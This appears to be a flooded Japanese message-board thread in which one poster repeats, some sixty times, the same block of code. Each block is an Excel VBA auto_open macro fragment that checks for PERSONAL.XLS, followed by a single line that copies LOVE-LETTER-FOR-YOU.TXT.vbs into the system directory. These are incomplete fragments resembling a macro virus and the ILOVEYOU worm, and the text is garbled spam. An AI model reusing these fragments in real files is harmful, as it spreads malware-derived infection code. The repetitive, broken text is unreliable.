If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

786 番組の途中ですが名無しです :2012/01/31(火) 21:25:23 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

787 番組の途中ですが名無しです :2012/01/31(火) 21:25:54 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

788 番組の途中ですが名無しです :2012/01/31(火) 21:26:25 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

789 番組の途中ですが名無しです :2012/01/31(火) 21:26:56 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

790 番組の途中ですが名無しです :2012/01/31(火) 21:27:27 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

791 番組の途中ですが名無しです :2012/01/31(火) 21:27:59 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

792 番組の途中ですが名無しです :2012/01/31(火) 21:28:30 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

793 番組の途中ですが名無しです :2012/01/31(火) 21:29:01 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

794 番組の途中ですが名無しです :2012/01/31(火) 21:29:32 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

795 番組の途中ですが名無しです :2012/01/31(火) 21:30:04 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

796 番組の途中ですが名無しです :2012/01/31(火) 21:30:35 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

797 番組の途中ですが名無しです :2012/01/31(火) 21:31:06 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

798 番組の途中ですが名無しです :2012/01/31(火) 21:31:37 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

799 番組の途中ですが名無しです :2012/01/31(火) 21:32:08 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

800 番組の途中ですが名無しです :2012/01/31(火) 21:32:40 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

801 番組の途中ですが名無しです :2012/01/31(火) 21:33:11 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

802 番組の途中ですが名無しです :2012/01/31(火) 21:33:42 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

803 番組の途中ですが名無しです :2012/01/31(火) 21:34:13 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

804 番組の途中ですが名無しです :2012/01/31(火) 21:34:44 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

805 番組の途中ですが名無しです :2012/01/31(火) 21:35:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

806 番組の途中ですが名無しです :2012/01/31(火) 21:35:46 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

807 番組の途中ですが名無しです :2012/01/31(火) 21:36:16 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

808 番組の途中ですが名無しです :2012/01/31(火) 21:36:48 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

809 番組の途中ですが名無しです :2012/01/31(火) 21:37:19 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

810 番組の途中ですが名無しです :2012/01/31(火) 21:37:50 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

811 番組の途中ですが名無しです :2012/01/31(火) 21:38:21 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

812 番組の途中ですが名無しです :2012/01/31(火) 21:38:52 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

813 番組の途中ですが名無しです :2012/01/31(火) 21:39:23 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

814 番組の途中ですが名無しです :2012/01/31(火) 21:39:55 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

815 番組の途中ですが名無しです :2012/01/31(火) 21:40:26 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

816 番組の途中ですが名無しです :2012/01/31(火) 21:40:57 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

817 番組の途中ですが名無しです :2012/01/31(火) 21:41:28 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

818 番組の途中ですが名無しです :2012/01/31(火) 21:42:00 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

819 番組の途中ですが名無しです :2012/01/31(火) 21:42:31 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

820 番組の途中ですが名無しです :2012/01/31(火) 21:43:02 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

821 番組の途中ですが名無しです :2012/01/31(火) 21:43:33 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

822 番組の途中ですが名無しです :2012/01/31(火) 21:44:04 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

823 番組の途中ですが名無しです :2012/01/31(火) 21:44:36 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

824 番組の途中ですが名無しです :2012/01/31(火) 21:45:07 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

825 番組の途中ですが名無しです :2012/01/31(火) 21:45:40 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

826 番組の途中ですが名無しです :2012/01/31(火) 21:46:11 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

827 番組の途中ですが名無しです :2012/01/31(火) 21:46:42 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

828 番組の途中ですが名無しです :2012/01/31(火) 21:47:13 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

829 番組の途中ですが名無しです :2012/01/31(火) 21:47:44 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

830 番組の途中ですが名無しです :2012/01/31(火) 21:48:15 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

831 番組の途中ですが名無しです :2012/01/31(火) 21:48:47 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

832 番組の途中ですが名無しです :2012/01/31(火) 21:49:18 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

833 番組の途中ですが名無しです :2012/01/31(火) 21:49:49 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

834 番組の途中ですが名無しです :2012/01/31(火) 21:50:20 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

835 番組の途中ですが名無しです :2012/01/31(火) 21:50:51 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

836 番組の途中ですが名無しです :2012/01/31(火) 21:51:22 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

837 番組の途中ですが名無しです :2012/01/31(火) 21:51:54 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

838 番組の途中ですが名無しです :2012/01/31(火) 21:52:25 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

839 番組の途中ですが名無しです :2012/01/31(火) 21:52:56 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

840 番組の途中ですが名無しです :2012/01/31(火) 21:53:27 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

841 番組の途中ですが名無しです :2012/01/31(火) 21:53:58 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

842 番組の途中ですが名無しです :2012/01/31(火) 21:54:30 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

843 番組の途中ですが名無しです :2012/01/31(火) 21:55:01 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

844 番組の途中ですが名無しです :2012/01/31(火) 21:55:32 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

845 番組の途中ですが名無しです :2012/01/31(火) 21:56:03 ID:z9m94Fz2
Sub auto_open()

Application.OnSheetActivate = "check_files"

End Sub



Sub check_files()

c$ = Application.StartupPath

m$ = Dir(c$ & "\" & "PERSONAL.XLS")

If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0

If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0

whichfile = p + w * 10

End Sub

